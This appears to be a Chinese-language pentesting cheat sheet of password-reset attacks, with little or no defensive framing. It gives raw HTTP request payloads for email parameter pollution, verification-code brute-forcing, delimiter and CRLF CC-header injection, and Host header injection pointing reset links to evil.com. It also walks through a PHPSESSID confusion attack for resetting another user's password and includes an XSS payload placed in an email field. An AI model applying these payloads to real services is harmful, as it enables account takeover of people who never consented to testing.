密码找回

绕过前端验证

不知道密码

1. 修改响应状态码

响应

...
code: true /success /1

2. 抓包后删除（username=***&pwaasd=***）

3. 有些系统设定密码是纯数字进入口令修改界面（111111或者222222）

知道密码

1. 响应包是否回显验证码

2. 重置跳转时，是否有id类的参数进行任意用户密码修改

邮箱/手机验证码找回

1. 参数污染

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail]&email=[e-mail]

2. 验证码爆破

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail]&code=$123456$

3. 在参数值中使用分隔符

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail],[e-mail]

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail][e-mail]

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail]|[e-mail]

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail][e-mail]

4. 响应包中有指定接收端，可修改接收端号码

5. 参数值中没有domain

POST /reset HTTP/1.1
Host: target.com
...

email=victim

6. 没有参数的值

POST /reset HTTP/1.1
Host: target.com
...

email=victim@mail

7. 邮件抄送

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail]%0a%0dcc:[e-mail]

8. 如果body请求中有JSON数据，则添加逗号

POST /newaccount HTTP/1.1
Host: target.com
...

{"email":"[e-mail]","[e-mail]","token":"xxxxxxxxxx"}

9. 邮箱密码重置链接是否可被构造

请求体字段

1. Find out how the tokens generate 了解令牌如何生成

• Generated based on TimeStamp 基于时间戳生成

• Generated based on the ID of the user 根据用户ID生成

• Generated based on the email of the user 根据用户的电子邮件生成

• Generated based on the name of the user 根据用户名生成

2. 主机标头注入

POST /reset HTTP/1.1
Host: target.com
...

email=[e-mail]

to

POST /reset HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
...

email=[e-mail]

受害者将收到重置链接evil.com

3. cookie混淆

大致攻击思路:
1. 用攻击者账号13908080808进入密码找回流程，查收重置验证码、通过校验
2. 输入新密码后提交，拦截中断该请求，暂不发至服务端，这时，PHPSESSID 关联的是13908080808账号;
3. 接着，关闭浏览器的burp代理，新开重置流程的首页，在页面中输入普通账号13908090133后获取短信验证码，这时，PHPSESSID 已关联成13908090133了;
4. 最后，放行之前中断的请求，放至服务端，逻辑上，可以成功重置13908090133的密码。

补充

尝试跨站点脚本（XSS）的形式 XSS

"<svg/onload=alert(1)>"@gmail.com

参考

• github

• 10 Password Reset Flaws

• Frooti